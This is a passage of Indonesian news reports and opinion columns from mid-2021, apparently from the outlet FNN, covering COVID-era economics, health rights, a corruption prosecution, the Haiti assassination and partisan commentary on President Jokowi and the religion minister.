pembangunan juga ikut berganti. Namun, Pulau Jawa masih konsisten menjadi pusat ekonomi dengan kontribusi tidak kurang dari 58 persen. Karena itu saat pandemi seperti ini diharapkan tidak mematikan perekonomian di jantung ekonomi di Jawa dengan transformasi yang belum siap. Untuk mengatasi hal tersebut, dia pun menyarankan perlu melihat provinsi dengan kemampuan transformasi ekonominya masing-masing. Dengan melihat sumber daya alam di wilayah tersebut, pembuat kebijakan dapat menentukan langkah-langkah yang konkret. "Provinsi yang cepat bertransformasi akan terus dipertahankan, yang moderat didorong untuk bisa ke arah yang lebih baik. Dan yang lambat harus betul-betul disiapkan enabling factors-nya," tegasnya. Dia memberi contoh beberapa kegiatan ekonomi yang bisa dilakukan masyarakat untuk menjaga ketaatan protokol kesehatan seperti produksi masker yang bisa dilakukan pelaku usaha di daerah masing-masing. Agar bisa bertahan, kegiatan ekonomi harus didorong agar berputar di wilayah itu sendiri. Selama pandemi terus berlangsung, jelas Nunung, sumberdaya manusia harus terus disiapkan. Dengan demikian, transformasi ekonomi bisa merata di seluruh Indonesia dan tidak terpaku pada satu pulau saja. (mth)

SNP Kesehatan, Kerangka HAM untuk Penanganan Darurat Kesehatan

Puluhan tahun isu kesejahteraan dan keadilan profesi kesehatan belum menemukan solusi komprehensif. Oleh Ganis Irawan *) PADA 5 April 2021, Sidang Paripurna Komisi Nasional Hak Asasi Manusia (Komnas HAM) menetapkan Standar Norma dan Pengaturan Tentang Hak Atas Kesehatan (SNP Hak Atas Kesehatan, atau lebih ringkas lagi, SNP Kesehatan). Untuk warga negara Indonesia pada umumnya, dokumen ini mengandung banyak pokok pikiran penting yang bisa menjadi dasar untuk memperjuangkan perbaikan kualitas dan akses terhadap layanan kesehatan. Di sisi lain, bagi Tenaga Medis dan Tenaga Kesehatan SNP Kesehatan menawarkan banyak pokok pikiran yang penting untuk memperjuangkan kesejahteraan dan keadilan. Ya, puluhan tahun isu kesejahteraan dan keadilan profesi kesehatan belum menemukan solusi komprehensif. Terkait Pandemi Covid, setelah 1,5 tahun penanganan pandemi yang penuh perdebatan dan kritik, terbitnya SNP Kesehatan ini sepertinya bisa jadi pemecah kebuntuan. Karena memuat banyak aspek penting (i.e ekonomi, sosial, budaya, kesehatan), dokumen ini potensial menjadi common ground untuk dialog multipihak mencari solusi kolaboratif penanganan pandemi Covid- 19 dan mempersiapkan framework praksis sistem tanggap darurat kesehatan di masa depan. Diakui atau tidak, terutama oleh Pemerintah, pandemi Covid-19 menunjukkan dengan jelas kelemahan sistem kesehatan kita sekaligus ketiadaan practical framework (atau protokol) tanggap darurat kesehatan. Keberadaan dua Undang-Undang yaitu UU Wabah dan UU Kekarantinaan Kesehatan ternyata belum memadai untuk Pemerintah bisa memberi respons cepat dan memadai tanpa meresikokan demokrasi dan Hak Asasi Manusia. Ketiadaan practical framework inilah yang menyebabkan Indonesia tampak demikian gagap berhadapan dengan Pandemi Covid-19, padahal ini bukan pandemi pertama. Kegagapan tersebut bukan hanya tampak pada penyelenggara negara, tapi juga pada kelompok civil society dan kalangan profesional. Beragam kritik terhadap potensi restriksi kebebasan berpendapat dalam kasus dr.Lois, misalnya, menunjukkan bahwa kelompok pro-demokrasi dan pegiat HAM seperti baru tersadar bahwa ada isu-isu HAM yang masih perlu dibahas terkait penanganan pandemi. Hal ini mengherankan, karena sejak tahun 2020 ada cukup banyak aspek dari penangangan pandemi yang potensial melanggar prinsip HAM. Seperti misalnya diskriminasi yang dialami penderita Covid-19, dokter atau tenaga kesehatan. Satu tahun ini diskriminasi dan kekerasan terhadap dokter dan tenaga kesehatan diperlakukan sebagai layaknya kasus pidana biasa, bukan sebagai pelanggaran serius terhadap HAM. Padahal para dokter dan tenaga kesehatan tersebut sedang bekerja dalam rangka pemenuhan hak rakyat atas kesehatan. Selama 1,5 tahun ini juga tidak tampak diskursus HAM yang tajam untuk perbaikan praksis penangangan pandemi, semisal penerapan siracusa principle, penanganan berita bohong, disinformasi dan misinformasi selama situasi darurat kesehatan. Atau diskursus HAM tentang prioritas layanan kesehatan terhadap wanita, anak, lansia atau para penyandang disabilitas. Dengan latar belakang situasi semacam itu, terbitnya SNP Hak Atas Kesehatan dari Komnas HAM patut diapresiasi karena dokumen ini menyajikan koridor normatif yang komprehensif untuk penanganan darurat kesehatan. Dokumen ini bisa menjadi alternatif bagus untuk diterapkan sebagai acuan kerangka normatif penanganan pandemi Covid-19. Selanjutnya bisa dipertimbangkan untuk mulai merumuskan practical framework berupa protokol baku penanggulan darurat kesehatan yang komprehensif dan operasional. Protokol semacam ini perlu agar dikemudian hari, pada darurat kesehatan yang lain, Indonesia bisa dengan cepat memberi respon adekuat ; tinggal mengaktifkan suatu protokol penanggulangan darurat kesehatan yang sudah dikenal dan diinternalisasi oleh banyak orang. Tak perlu lagi ada banyak perdebatan teknis saat krisis di depan mata. Juga tak perlu lagi khawatir situasi darurat kesehatan disalahgunakan oleh pemerintah. Sama halnya dengan protokol keselamatan penerbangan, protokol penanggulangan darurat kesehatan perlu ada sebelum kedaruratan tiba. Perlu juga diajarkan dan dilatihkan terus menerus kepada aparatur pemerintah dan warga negara. *) Dokter Spesialis Penyakit Dalam, Kabid Kerjasama Lembaga Negara dan Media Massa PB IDI.

Lemkapi Optimistis Irjen Wahyu Mampu Bangun SDM Polri

Jakarta, FNN - Direktur Eksekutif Lembaga Kajian Strategis Kepolisian Indonesia (Lemkapi) Dr Edi Hasibuan optimistis Irjen Pol Wahyu Widada akan mampu membangun personel Polri lebih baik karena memiliki pengalaman panjang bidang sumber daya manusia (SDM). "Wahyu bukan orang baru dalam bidang SDM sehingga keputusan Kapolri menunjuk Kapolda Aceh Irjen Wahyu menjadi Asisten SDM sangat tepat," kata Edi dalam keterangan tertulis di Jakarta, Rabu. Dia mengatakan sebelum menjadi Kapolda Aceh pada Pebruari 2020, Wahyu pada 2015 hingga 2017 bertugas di SDM Polri dan terakhir menjabat sebagai Kepala Biro Pengkajian dan Strategi SDM Polri. Usai menempuh pendidikan di Perguruan Tinggi Ilmu Kepolisian (PTIK) pada 1998, Wahyu juga menjalani penugasan tidak jauh bidang SDM hingga 2006. "Kami berpendapat, Kapolri sudah menunjuk orang yang tepat pada jabatan yang tepat," kata pakar hukum kepolisian di Universitas Bhayangkara Jakarta ini. Edi mengharapkan dengan pengangkatan Wahyu Widada sebagai Asisten SDM Polri, maka sistem penerimaan dan pembinaan personel Polri akan semakin baik. "Kami sangat yakin dengan kemampuan Wahyu Widada. Apalagi dia juga lulusan terbaik Akademi Kepolisian pada 1991," kata mantan mantan anggota Komisi Kepolisian Nasional (Kompolnas) ini. Sebelumnya, Kapolri Jenderal Pol Listyo Sigit Prabowo melakukan mutasi dan promosi 504 perwira tinggi dan menengah melalui surat telegram tertanggal 26 Juli 2021. Dalam telegram itu Kapolda Aceh Irjen Pol Wahyu Widada diangkat sebagai Asisten SDM Polri menggantikan Irjen Pol Sutrisno Yudi Hermawan yang akan pensiun. Selain itu, Direktur Tindak Pidana Siber Polri Brigjen Pol Slamet Uliadi diangkat dengan jabatan jenderal bintang dua sebagai Kepala Divisi Teknologi Informasi dan Komunikasi (TIK) Polri. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono mengatakan mutasi dilaksanakan dalam rangka pemenuhan kebutuhan organisasi dan pembinaan karir di internal Polri. "Dan juga untuk mengoptimalkan tugas-tugas Polri yang semakin kompleks," kata Rusdi. (mth)

Mantan Menteri Sosial Juliari Batubara Dituntut 11 Tahun Penjara

Jakarta, FNN - Mantan Menteri Sosial Juliari Batubara dituntut 11 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan karena dinilai terbukti menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako COVID-19 di wilayah Jabodetabek. "Menuntut supaya majelis hakim pengadilan tindak pidana korupsi (Tipikor) menyatakan terdakwa Juliari Batubara terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi secara bersama-sama. Menjatuhkan pidana terhadap terdakwa dengan pidana penjara selama 11 tahun ditambah denda Rp500 juta subsider 6 bulan kurungan," kata jaksa penuntut umum (JPU) KPK Ikhsan Fernandi di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu. Tuntutan tersebut berdasarkan dakwaan pertama yaitu pasal 12 huruf b jo pasal 18 UU No 31 tahun 1999 sebagaimana diubah UU No 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat 1 ke-1 KUHP jo pasal 64 ayat 1 KUHP. JPU KPK juga meminta agar Juliari juga dijatuhi hukuman untuk membayar uang pengganti. "Menetapkan agar terdakwa membayar uang pengganti kepada negara sebesar Rp14.557.450.000 selambat-lambatnya satu bulan setelah putusan pengadilan memperoleh kekuatan hukum tetap," tambah jaksa Ikhsan. Bila Juliari tidak membayar uang pengganti tersebut dalam waktu satu bulan setelah putusan pengadilan memperoleh kekuatan hukum tetap, maka harta benda Juliar akan disita oleh jaksa dan dilelang untuk menutupi uang pengganti tersebut. "Dalam hal terpidana tidak mempunyai harta benda yang mencukupi untuk membayar uang pengganti maka dipidana penjara selama 2 tahun," ungkap jaksa. Selanjutnya JPU KPK meminta pencabutan hak politik Juliari dalam periode tertentu "Menetapkan pidana tambahan terhadap terdakwa berupa pencabutan hak untuk dipilih dalam jabatan publik selama 4 tahun sejak terdakwa selesai menjalani pidana pokoknya," ungkap jaksa. Terdapat sejumlah hal yang memberatkan dalam perbuatan Juliari Batubara. "Keadaan yang memberatkan, perbuatan terdakwa sebagai menteri sosial tidak mendukung program pemerintah dalam mewujudkan pemerintahan yang bersih dari korupsi, kolusi dan nepotisme, terdakwa berbelit-belit dalam memberikan keterangan, terdakwa tidak berterus terang atas perbuatannya, perbuatan terdakwa terjadi saat kondisi darurat pandemi COVID-19. Hal yang meringankan, terdakwa belum pernah dihukum," tambah jaksa Ikhsan. Dalam perkara ini Juliari P Batubara selaku Menteri Sosial RI periode 2019-2024 dinyatakan terbukti menerima uang sebesar Rp1,28 miliar dari Harry Van Sidabukke, sebesar Rp1,95 miliar dari Ardian Iskandar Maddanatja serta uang sebesar Rp29,252 miliar dari beberapa penyedia barang lain. Tujuan pemberian suap itu adalah karena Juliari menunjuk PT Pertani (Persero) dan PT Mandala Hamonangan Sude yang diwakili Harry Van Sidabukke, PT Tigapilar Agro Utama yang diwakili Ardian Iskandar serta beberapa penyedia barang lainnya menjadi penyedia dalam pengadaan bansos sembako. Uang suap itu menurut jaksa diterima dari Matheus Joko Santoso yang saat itu menjadi Pejabat Pembuat Komitmen (PPK) pengadaan bansos sembako periode April-Oktober 2020 dan Adi Wahyono selaku Kabiro Umum Kemensos sekaligus PPK pengadaan bansos sembako COVID-19 periode Oktober-Desember 2020. Uang "fee" sebesar Rp14,7 miliar menurut JPU KPK sudah diterima oleh Juliari dari Matheus Joko dan Adi Wahyono melalui perantaraan orang-orang dekat Juliari yaitu tim teknis Mensos Kukuh Ary Wibowo, ajudan Juliari bernama Eko Budi Santoso dan sekretaris pribadi Juliari Selvy Nurbaity. Matheus Joko dan Adi Wahyono kemudian juga menggunakan "fee" tersebut untuk kegiatan operasional Juliari selaku mensos dan kegiatan operasional lain di Kemensos seperti pembelian ponsel, biaya tes "swab", pembayaran makan dan minum, pembelian sepeda Brompton, pembayaran honor artis Cita Citata, pembayaran hewan kurban hingga penyewaan pesawat pribadi. Juliari akan mengajukan nota pembelaan pada Senin, 9 Agustus 2021. (mth)

Ibu Tak Mau Menyusui Bisa Timbulkan Dampak Ekonomi

Jakarta, FNN - Koordinator Substansi Pengelolaan Konsumsi Gizi Direktorat Gizi Masyarakat, Kementerian Kesehatan, Mahmud Fauzi menyebutkan sejumlah kerugian bila ibu tak mau menyusui bayinya, termasuk dari sisi ekonomi. "Kalau banyak di Indonesia ibu yang tidak menyusui, akan mengalami kerugian secara ekonomi. Otomatis dia akan membeli makanan pendamping ASI dan ini mengeluarkan biaya," kata dia dalam konferensi pers daring Perayaan Pekan Menyusui Sedunia yang digelar AIMI, Rabu. Masalah lainnya yakni kelangsungan hidup anak akan sangat berpengaruh. Merujuk studi dalam jurnal The Lancet pada tahun 2016, praktik menyusui bisa menyelamatkan sekitar 820.000 nyawa bayi setiap tahun sekaligus menurunkan angka kematian anak di bawah usia 3 bulan akibat infeksi. "Karena rentannya seorang bayi pada 1.000 Hari Pertama Kehidupan, maka perlindungan menjadi penting dan kita harus mewaspadai perihal penggunaan pengganti ASI yang tidak layak sehingga bagaimana pemasaran produk harus betul-betul dijaga agar tidak memberikan informasi salah pada masyarakat," tutur Mahmud. Oleh karena itu, dia mengatakan, edukasi mengenai pentingnya menyusui perlu terus dilakukan baik melalui konseling atau telekonseling seperti yang ditempuh AIMI. Di sisi lain, pemerintah sudah berkomitmen melindungi ibu menyusui di Indonesia antara lain melalui UU No 36 tahun 2009 tentang Kesehatan, Permenkes No.15 tahun 2012 tentang tata cara penyediaan fasilitas khusus menyusui dan atau memerah ASI dan Permenkes No.15 tahun 2014 tentang tata cara sanksi administratif bagi tenaga kesehatan, penyelenggara fasilitas pelayanan kesehatan, penyelenggara satuan pendidikan kesehatan serta produsen dan distributor susu formula bayi atau produk bayi lainnya yang dapat menghambat keberhasilkan program pemberian ASI eksklusif. Di masa pandemi COVID-19 saat ini, pemerintah tetap melanjutkan komitmennya yakni dengan memprioritaskan program dan layanan menyusui, mengakhiri promosi produk pengganti ASI, inisiatif Rumah Sakit Sayang Bayi dan mengimbau semua pemangku kepentingan untuk mempromosikan serta meningkatkan akses ke layanan yang mendukung ibu agar melanjutkan praktik menyusui. Terkait situasi praktik menyusui di Indonesia saat ini, data Riset Kesehatan Dasar (Riskesdas) tahun 2018 dan Survei Demografi dan Kesehatan Indonesia (SDKI) tahun 2017 memperlihatkan baru separuh atau 52 persen bayi berusia di bawah 6 bulan yang mendapatkan ASI eksklusif. Median lama pemberian ASI eksklusif hanya 3 bulan. Mahmud menambahkan, keberhasilan ibu bisa menyusui memerlukan dukungan semua pihak sedari ibu hamil sampai menyusui dan perlunya pengoptimalan implementasi kebijakan serta evaluasi terkait menyusui. (mth)

Alumni IPB Serahkan Rp 1.3 Miliar untuk Pengadaan Tabung Oksigen bagi IPB University

Bogor, FNN - Alumni IPB University di dalam dan luar negeri menyerahkan donasi senilai Rp 1.318.435.000 yang diorganisasikan melalui Dewan Pimpinan Pusat Himpunan Alumni IPB (DPP HA-IPB) dan badan otonomnya Aksi Relawan Madani Mandiri Himpunan Alumni IPB (ARM HA-IPB), kepada pihak IPB University pagi ini, Rabu (28/7), di halaman Rektorat Kampus Dramaga, Bogor. Ketua Umum HA-IPB Ir. Fathan Kamil, didampingi Sekjen HA-IPB, Ir. Walneg S. Jas, MM dan Ketua Umum ARM HA-IPB, Ir. Ahmad Husein M.Si., menyerahkan secara resmi bantuan tersebut kepada Rektor IPB University, Prof. Dr. Ir. Arif Satria M.Sc. yang didampingi Wakil Rektor Hubungan Internasional, Kerja Sama, dan Hubungan Alumni sekaligus Ketua Crisis Center IPB University, Prof. Dr. Ir. Dodik Ridho Nurrochmat, M.Sc.F. Bantuan tersebut terdiri atas 120 unit tabung oksigen kapasitas enam meter kubik senilai Rp 342,5 juta, 60 unit regulator senilai Rp 72 juta, 500 unit selang oksigen nasal canula, dan 100 selang masker senilai Rp 9,5 juta. Donasi ini juga menanggung biaya isi ulang tabung oksigen selama tiga bulan senilai Rp 360 juta, bantuan biaya makanan pasien selama tiga bulan senilai Rp 420 juta, dan paket obat-obatan senilai Rp 114.435.000. Rektor IPB University, Prof. Arif Satria menyampaikan apresiasi yang setinggi-tingginya kepada seluruh alumni yang telah membantu pengadaan tabung oksigen dan paket bantuan lainnya, yang ia sebut sebagai kebutuhan yang amat IPB harapkan. IPB University, ujarnya, telah membuka layanan isolasi mandiri bagi civitas akademika IPB dan warga lingkar kampus yang terpapar Covid19 sejak tahun lalu. “Kami juga akan mengoperasikan rumah sakit lapang, Insya Allah mulai pekan depan, untuk mengantisipasi penanganan pasien yang terpapar Covid19, sehingga secara total IPB University akan mampu menyediakan 450 tempat tidur untuk perawatan pasien Covid19,” jelasnya. Selain itu, IPB juga telah sejak awal mengadakan vaksinasi bagi civitas akademika IPB dan warga Lingkar Kampus. Di sisi lain, IPB menjalin kerja sama dengan berbagai pihak untuk melakukan inovasi dalam penanggulangan pandemi ini, antara lain dengan memproduksi oxygen concentrator dan oxygen concentrator plant. Ketua DPP HA-IPB, Ir. Fathan Kamil, amat menghargai animo dan partisipasi alumni yang sangat tinggi dalam membantu almamaternya. “Hal ini menunjukkan betapa para alumni masih merasa memiliki IPB, dan saya berharap dukungan ini akan terus berlanjut untuk berbagai kegiatan IPB University di masa mendatang,” ujar Fathan. Penggalangan donasi alumni IPB telah dimulai sejak 17 Juli 2021 sebagai respon alumni atas situasi kedaruratan di IPB University dalam menanggulangi kasus Covid-19 yang menimpa ratusan dosen, tenaga pendidik, karyawan dan keluarga, mahasiswa, serta warga sekitar. Mereka dirawat di pusat isolasi mandiri di Kampus IPB Dramaga, Bogor. Melalui ARM HA-IPB, penggalangan secara masif dilakukan lewat jaringan alumni dan saluran media sosial. Donasi berasal dari 400 lebih penyumbang dan tak kurang dari 58 komunitas atau elemen alumni. “Sebagai hasilnya, donasi alumni bukan saja berhasil menyediakan 120 tabung oksigen berikut isi ulangnya selama tiga bulan, melainkan juga mampu menutupi biaya penyediaan makanan bagi pasien berikut paket obat-obatan,” ujar Ketua ARM HA-IPB, Ir. Ahmad Husein, M.Si.

Pejabat Tinggi Pengamanan Mendiang Presiden Haiti Ditangkap

Port-Au-Prince, FNN - Seorang pejabat tinggi keamanan Presiden Haiti Jovenel Moise, yang tewas dibunuh, ditangkap oleh polisi karena dicurigai terlibat dalam rencana pembunuhan. Penangkapan itu dilakukan ketika akun ajudan lainnya yang membahas tentang peristiwa pembunuhan tersebut bocor di media sosial. Koordinator Keamanan Presiden Haiti, Jean Laguel Civil, ditangkap pada Senin (26/7), kata pengacara Reynold Georges kepada Reuters. Penangkapan itu terjadi hampir tiga minggu setelah Moise dibunuh pada 7 Juli 2021 tengah malam di kediaman pribadinya di Port-au-Prince. Pembunuhan dilkukan oleh satu kelompok yang terdiri atas lebih dari 20 orang, dan kebanyakan adalah tentara bayaran Kolombia. Penangkapan Civil dilakukan menyusul penahanan sebelumnya terhadap anggota senior lainnya satuan keamanan Moise, Dimitri Herard. Pada Selasa (27/7), sebuah memo bertanggal 10 Juli 2021 yang ditandatangani oleh Herard yang menjelaskan peristiwa malam pembunuhan itu bocor di media sosial. Namun, Reuters belum dapat memastikan keaslian memo tersebut. Dalam dokumen tiga halaman itu, Herard mengatakan dia telah menerima panggilan bantuan dari Moise pada pukul 01.39 (waktu setempat) pada 7 Juli. Herard kemudian berangkat menuju kediaman presiden dan memerintahkan pengerahan bala bantuan. Herard mencatat, dia menerima kabar tentang "banyak ledakan" di dekat kediaman Moise dan meneruskan informasi itu ke petugas keamanan lainnya. Di dekat pintu masuk, para petugas keamanan presiden dihadang oleh sejumlah pria berpakaian hitam yang memerintahkan mereka untuk mundur, dengan mengatakan bahwa mereka adalah bagian dari sebuah operasi oleh Drug Enforcement Administration (DEA) Amerika Serikat, kata Herard. Karena personel keamanan kalah jumlah dan khawatir bahwa kelompok pria tersebut mungkin menawan Presiden Moise, pasukan Herard mundur. "Mereka mulai merencanakan serangan terhadap musuh mereka setelah mengetahui tepat setelah pukul 03.00 pagi bahwa presiden telah meninggal," ujarnya. Dalam pertempuran berikutnya pada sore hari tanggal 7 Juli, tiga warga Kolombia tewas, kata Herard, yang juga mencatat dalam memo bahwa tiga sandera polisi dibebaskan. Namun, banyak pertanyaan yang belum terjawab tentang siapa yang berada di balik pembunuhan itu dan bagaimana para pembunuh itu bisa mendapatkan akses ke kediaman presiden. Sementara pengacara Civil, Georges, mengatakan kepada Reuters bahwa Civil tidak bersalah. "Pelaku sebenarnya adalah mereka yang memberikan izin kepada orang-orang Kolombia ini untuk memasuki Haiti. Polisi harus menangkap mereka," katanya. Biro Investigasi Federal (FBI) Amerika Serikat melakukan penggerebekan terkait dengan pembunuhan Moise di sebuah daerah perumahan yang terjaga keamanannya di Florida. Demikian dijelaskan juru bicara FBI yang memberikan konfirmasi pada Selasa, 27 Juli 2021 setelah media memberitakan tentang insiden tersebut. "FBI dan (Departemen Keamanan Dalam Negeri AS) sedang menjalankan tugas penegakan hukum yang diperintahkan pengadilan di sekitar lokasi. Surat pernyataan yang mendukung surat perintah penggeledahan telah disahkan oleh pengadilan," kata juru bicara FBI kepada Reuters dalam pernyataan, tanpa memberikan penjelasan lebih lanjut. (MD).

Berdoalah Bangsaku, Agar Jokowi Diberi Kesadaran untuk Lengser

BISA jadi Presiden Jokowi selama ini selalu dalam pengaruh buzzer. Ia tidak tahu keadaan yang sebenarnya atas bangsa ini. Ia hidup dalam bayang-bayang kesuksesan. Harap maklum, tugas buzzer adalah memasok informasi kepada penguasa. Tidak jarang, informasi yang dipasok dipelintir, yang baik jadi buruk, yang buruk jadi baik, yang benar jadi salah, yang salah jadi benar, dan yang waras jadi gila, yang gila jadi waras. Tabiat buzzer selalu memberikan bisikan yang baik-baik saja ke kuping presiden, padahal tidak ada yang baik apalagi dibanggakan. Sialnya, presiden kemungkinan tidak melakukan cek ulang atas apa yang disemburkan ke telinganya. Makanya, ketika presiden disuruh memerankan adegan bagi-bagi sembako di gang sempit di wilayah Jakarta Utara, ia manut saja. Ketika disetting untuk melempar bingkisan sembako di jalanan, presiden langsung mengangguk. Ketika diminta memerankan adegan beli obat di apotek, presiden HO OH saja. Padahal, sebagian besar masyarakat sudah mafhum, bahwa semuanya hanya pencitraan belaka. Tidak hanya itu, tindakan yang dilakukan presiden menjadi bahan tertawaan masyarakat karena kontradiktif dengan keadaan yang sebenarnya. Rakyat merasa miris ada presiden yang tidak paham kondisi riil masyarakatnya. Coba kita cek, siapa hari ini dari 270 juta rakyat Indonesia yang merasakan negara ini baik-baik saja? Siapa hari ini yang bisa menunjukkan kesejahteraan rakyat membaik? Siapa hari ini yang berani mengatakan ekonomi meroket, hukum berkeadilan, hubungan sosial kemasyarakatan seimbang, lapangan kerja membludak, pertanian melimpah, pengangguran minim, kelaparan nol, dan kemiskinan menurun? Siapa hari yang berani bersaksi bahwa penanganan Covid19 berjalan dengan baik, korban menurun, dan suasana hati masyarakat tenang? Tidak ada. Kalaupun ada, paling buzzer yang membuat ulah. Mereka bisa berbuat apa saja. Tiap pernyataannya selalu ngawur, asal-asalan, dan menyesatkan. Para buzzer akan membungkam kebenaran dan memanipulasinya dengan kebohongan. Jangankan rakyat biasa, menteri dan presiden pun tak ada yang secara ksatria tampil di muka publik menceritakan keadaan bangsa yang sebenarnya. Hari ini bangsa kita adalah bangsa dengan jumlah terpapar Covid sebesar 3.194.733, sebanyak 84.766 meninggal. Jumlah meninggal harian mencapai 1.487 orang, terbesar di dunia. Pemerintah tidak pernah merasa bersalah atas kegagalan menangani wabah. Mereka sibuk merekayasa aturan agar terhindar dari tanggungjawab sebagai konsekuensi pelaksanaan UU Kekarantinaan Kesehatan. Rezim betul-betul seenaknya. Pembubaran organisasi keagamaan FPI, pembunuhan laskar, dan vonis terhadap Habib Rizieq Syihab sesungguhnya pengingkaran terhadap kebenaran yang sangat nyata. Rezim menggunakan kacamata kuda hanya untuk membenarkan perilaku salahnya. Polisi, jaksa, dan hakim digerakkan untuk semata-mata membela rezim. Hukum berada di telapak tangannya yang bisa direkayasa kapan saja. Utak-atik terhadap pelaksanan UU Kekarantinaan Kesehatan dengan sebutan PSBB dan PPKM adalah praktek pelanggaran yang sangat telanjang. Presiden secara sengaja dan nyata melanggar Undang undang. Karenanya sudah bisa dimakzulkan. Membanjirnya TKA China, mulusnya UU Omnibuslaw, dan mudahnya mengubah Statuta UI adalah contoh lain bagaimana rezim mengelola negara seperti toko mebel. Seenaknya dan semaunya. Presiden seakan tidak punya sikap. Makanya kesalahannya tidak pernah dipersoalkan. Kelihatannya ada yang pasang badan. Oleh sebab itu, ketika presiden disuruh mengangkat komisaris yang tidak punya kapasitas, ia manut saja. Ketika disetting untuk tampil sederhana dan selalu pakai baju putih, presiden langsung mengangguk. Ketika diminta memerankan adegan tolong- menolong di area bencana, presiden inggih mawon. Padahal, sebagian besar masyarakat sudah tahu pola, karakter, dan strategi presiden jika ingin mengambil hati rakyat. Oleh karena itu, adegan demi adegan yang dipertontonkan presiden justru semakin membuat masyarakat bosan, bahkan muak. Celotehan buzzer di luar nalar dan perilaku presiden yang rendahan, naif, dan menggelikan tampaknya sukses menyihir sebagian pikiran rakyat Indonesia untuk memuji setinggi langit. Di sisi lain masyarakat yang masih berpikir logis dan waras menganggap apa yang dilakukan presiden tak berguna sama sekali. Presiden terperosok ke dalam tindakan yang mubazir dan sia-sia. Oleh karena itu, mari bangsa Indonesia semua berdoa agar presiden kembali ke jalan yang benar. Kumpulan doa seluruh anak bangsa akan menjadi energi yang kuat untuk menyadarkan presiden bahwa ia hanya sebatas wayang. Enam tahun sudah purna untuk menilai. Enam tahun lebih dari cukup untuk menyadarkan bangsa ini. Enam tahun terlalu lama untuk evaluasi. Pilihannya ada pada bangsa ini, cukup di sini atau terus berenang dalam kolam kesengsaraan. Ingat presiden, lengser adalah solusi yang lebih baik.

Tentara Israel Bunuh Warga Palestina di Tepi Barat

Ramallah, FNN - Tentara Israel membunuh seorang warga Palestina di Tepi Barat yang diduduki pada Selasa (27/7/2021). Menurut Kementerian Kesehatan Palestina, tentara tersebut mengatakan bahwa warga Palestina itu telah mendekati pasukan Israel dengan sebatang besi di tangannya. Beberapa penduduk setempat menggambarkan pria Palestina yang terbunuh di pintu masuk Desa Beita dekat Kota Nablus itu sebagai tukang ledeng berusia 41 tahun yang sedang pulang kerja ketika dia ditembak mati. Dikutip dari Kantor Berita Antara, penduduk setempat pun mengatakan, tidak ada gangguan di sana pada saat itu. Sementara, seorang juru bicara militer Israel mengatakan warga Palestina itu, yang membawa sebatang besi, "maju dengan cepat" ke arah pasukan meskipun mereka telah melepaskan tembakan peringatan ke udara. "Ketika tersangka terus maju, komandan menembak ke arah tersangka," kata jubir militer Israel itu. Militer negara Yahudi tersebut akan menyelitika insiden itu. Tepi Barat adalah salah satu daerah yang ingin dijadikan Palestina sebagai wilayahnya dalam mencapai status sebagai negara merdeka yang diakui. Kekerasan telah membara di wilayah Tepi Barat sejak perundingan antara Palestina dan Israel yang disponsori Amerika Serikat gagal pada 2014. (MD).

Wapres Sayangkan Indonesia Masih Impor Produk Makanan Halal

Jakarta, FNN - Wakil Presiden Ma’ruf Amin menyayangkan Indonesia masih harus mengimpor produk makanan halal untuk memenuhi kebutuhan masyarakat Muslim di dalam negeri. "Jangankan sebagai produsen dan menjadi pemain global, untuk memenuhi kebutuhan makanan halal domestik saja kita masih harus impor," kata Wapres di acara Konferensi Konferensi Ekonomi, Bisnis dan Keuangan Islam Nusantara, di Universitas Islam Nahdlatul Ulama (Unisnu) Jepara secara daring, Rabu, 28 Juli 2021. Sebagai negara dengan penduduk Muslim terbesar di dunia, Indonesia masih cukup besar membelanjakan produk halal. Angkanya mencapai 173 miliar dolar AS atau 12,6 persen dari pangsa pasar produk makanan halal dunia. "Indonesia justru menjadi konsumen produk halal terbesar di dunia, menjadi konsumen terbesar dibandingkan dengan negara mayoritas Muslim lainnya," ujarnya, sebagaimana dikutip dari Kantor Berita Antara. Indonesia bahkan juga belum mampu mengoptimalkan potensi yang ada untuk meningkatkan industri produk halal di dalam negeri. "Indonesia seharusnya dapat memanfaatkan potensi tersebut di industri produk halal seperti Malaysia," kata Ma'ruf Amin. "Kita belum mampu memanfaatkan potensi secara optimal seperti Malaysia, bahkan Brasil dengan Muslim minoritas, utamanya dalam menjadikan dirinya sebagai produsen makanan halal terbesar di dunia," ujarnya. Merujuk pada Global Islamic Report Tahun 2019, Brasil tercatat memiliki nilai ekspor produk makanan dan minuman halal terbesar di dunia, yakni mencapai 5,5 miliar dolar AS. Negara dengan minoritas Muslim lain yang mengekspor produk makanan dan minuman halal terbesar kedua di dunia adalah Australia, dengan nilai ekspor 2,4 miliar dolar AS. Dengan kondisi demikian, ia berharap seluruh pihak terkait untuk dapat memanfaatkan semua potensi dan meningkatkan ekspor produk halal. Dengan demikian, Indonesia diharapkan dapat menjadi produsen halal terbesar di dunia. "Oleh karena itu, pemerintah akan terus berupaya mendorong pengembangan ekonomi dan keuangan syariah, termasuk kegiatan usaha syariah baik skala besar maupun kecil," ujarnya. (MD).

Menteri Agama Kacau

By M Rizal Fadillah Bandung, FNN - Gak ada angin gak ada hujan tiba tiba Menteri Agama Yaquts Qoumas muncul di media lalu mengucapkan selamat merayakan hari raya Naw Ruz 178 EB. Dikira Nopol Mobil eh tak tahunya hari raya agama Baha'i. Begitu perlunya Menag ini mengucapkan selamat hari raya. Sangat prihatin sekali rasanya beragama kini. Menyedihkan bangsa Indonesia di masa Jokowi memiliki Menteri Agama yang kacau balau. Mushibah ini lebih berat dari pandemi covid 19. Baha'i menyerupai agama Islam tapi menyimpang. Meyakini ada Nabi setelah Nabi Muhammad SAW. Bukan saja sesat tetapi juga menodai kesucian agama Islam. Kriminal kategorinya. Jika mengaku bukan Islam, maka agama ini tidak diakui keberadaan sebagai agama di Indonesia. Gus Dur hanya menambah satu agama Kong Hu Chu, setelah itu tidak ada lagi. Yaquts tak berwenang menetapkan agama baru, "bid'ah" he hee. Yaquts bikin gara-gara dan membuat suasana panas. Memang dia sejak awal tak pantas menjadi Menteri Agama. Setelah hendak mengangkat Syi'ah dan Ahmadiyah kini mempromosikan Baha'i mungkin besok agama Cecunguk, Kadaliyah atau Kutukupret. Agama yang nyata diada-adakan. Menghargai yang sedikit menyakiti yang 